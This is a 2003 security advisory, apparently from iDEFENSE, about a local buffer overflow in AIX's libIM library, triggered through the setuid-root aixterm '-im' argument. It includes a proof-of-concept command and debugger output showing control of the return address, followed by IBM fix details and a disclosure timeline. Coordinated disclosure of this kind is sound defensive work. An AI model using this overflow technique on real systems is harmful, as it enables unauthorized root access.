[UNIX] Buffer Overflow in AIX libIM.a

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Date: 02/13/03

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      Buffer Overflow in AIX libIM.a
    ------------------------------------------------------------------------

    SUMMARY

    Advanced Interactive eXecutive (AIX) is IBM Corp.'s UNIX operating system
    implementation, native to pSeries and RS/6000 servers. More information is
    available at <http://www-1.ibm.com/servers/aix/>
    http://www-1.ibm.com/servers/aix/.

    AIX provides support for National Language Support (NLS). From the AIX
    manual available at
    <http://publib16.boulder.ibm.com/doc_link/en_US/a_doc_lib/aixprggd/nlsgdrf/nat_lang_support.htm,> http://publib16.boulder.ibm.com/doc_link/en_US/a_doc_lib/aixprggd/nlsgdrf/nat_lang_support.htm, "NLS provides commands and Standard C Library subroutines for a single worldwide system base. An internationalized system has no built-in assumptions or dependencies on language-specific or cultural-specific conventions such as:
     * Code sets
     * Character classifications
     * Character comparison rules
     * Character collation order
     * Numeric and monetary formatting
     * Date and time formatting
     * Message-text language

    All information pertaining to cultural conventions and language is
    obtained at process run time."

    libIM is a system library used by NLS on AIX.

    A locally exploitable buffer overflow has been found within libIM allowing
    an attacker to obtain the privileges of an application calling the
    library.

    DETAILS

    Vulnerable systems:
     * Applications using libIM on AIX 4.3, 5.1 or 5.2 are affected

    Locally exploiting a buffer overflow within libIM allows an attacker to
    obtain the privileges of an application calling the library. The
    "/usr/lpp/X11/bin/aixterm" binary calls the libIM library and is then
    installed setuid root by default on AIX.

    The "-im" command line argument used by aixterm causes the binary to crash
    when filled with a string about 50 bytes in length. This allows an
    attacker to gain control of the return address of the executing function,
    thereby allowing code execution with root privileges.

    Analysis:
    Exploitation can provide local attackers with root access to an affected
    system.

    The following shows how the "-im" command line argument can be filled and
    cause the crash of aixterm, giving the user control of the return address.
    We will write the value of 0x11223344 into the appropriate register:

    $ ls -la /usr/lpp/X11/bin/aixterm
    - -rwsr-xr-x 1 root system 376384 Mar 18 2001
    /usr/lpp/X11/bin/aixterm*
    $ cp -p /usr/lpp/X11/bin/aixterm test
    $ ./test -im `perl -e'print"A"x47;print pack("l",0x11223344)'`
    1363-009 aixterm: Cannot open font -dt-interface
    user-medium-r-normal-l*-*-*-*-*-*-*-*-*.
            Check path name and permissions.
    1363-009 aixterm: Cannot open font
    - -*-roman-medium-r-normal--8-50-100-100-c-*-ISO8859-1.
            Check path name and permissions.
    Illegal instruction (core dumped)
    $ dbx ./test core
    Type 'help' for help.
    reading symbolic information ...warning: no source compiled with -g

    [using memory image in core]
    warning: Unable to access address 0x41414149 from core

    Illegal instruction (reserved addressing fault) in . at 0x11223344 ($t1)
    warning: Unable to access address 0x11223344 from core 0x11223344 (???)
    warning: Unable to access address
    0x11223344 from core ffffffff warning: Unable to access address
    0x11223344 from core fnmadd.
    fr31,fr31,fr31,fr31 (dbx)

    Vendor response:
    A. E-fix
    Temporary fixes for AIX 4.3.3, 5.1.0, and 5.2.0 systems are available.

    The temporary fixes can be downloaded via ftp from:
    <ftp://aix.software.ibm.com/aix/efixes/security/libIM_efix.tar.Z>
    ftp://aix.software.ibm.com/aix/efixes/security/libIM_efix.tar.Z

    The efix-compressed tarball contains three fixes: one each for AIX 4.3.3,
    AIX 5.1.0, and AIX 5.2.0. It also includes an advisory and a README file
    with installation instructions.

    B. Official Fix
    IBM will provide the following fixes:

     * APAR number for AIX 4.3.3: IY40307
     * APAR number for AIX 5.1.0: IY40317
     * APAR number for AIX 5.2.0: IY40320

    NOTE: Fixes will not be provided for versions prior to 4.3, as these are
    no longer supported by IBM. Affected customers are urged to upgrade to
    4.3.3 or 5.1.0 at the latest maintenance level.

    Disclosure timeline:
    10/31/2002 Issue disclosed to iDEFENSE
    01/28/2003 IBM notifed (security-alert@austin.ibm.com)
    01/29/2003 Response received from Shiva Persaud (shivapd@us.ibm.com)
    02/11/2003 iDEFENSE clients notified
    02/12/2003 Coordinated Public Disclosure

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:labs@idefense.com> iDEFENSE
    Labs, the vulnerability was discovered by
    <mailto:euan_briggs@btinternet.com> Euan Briggs.

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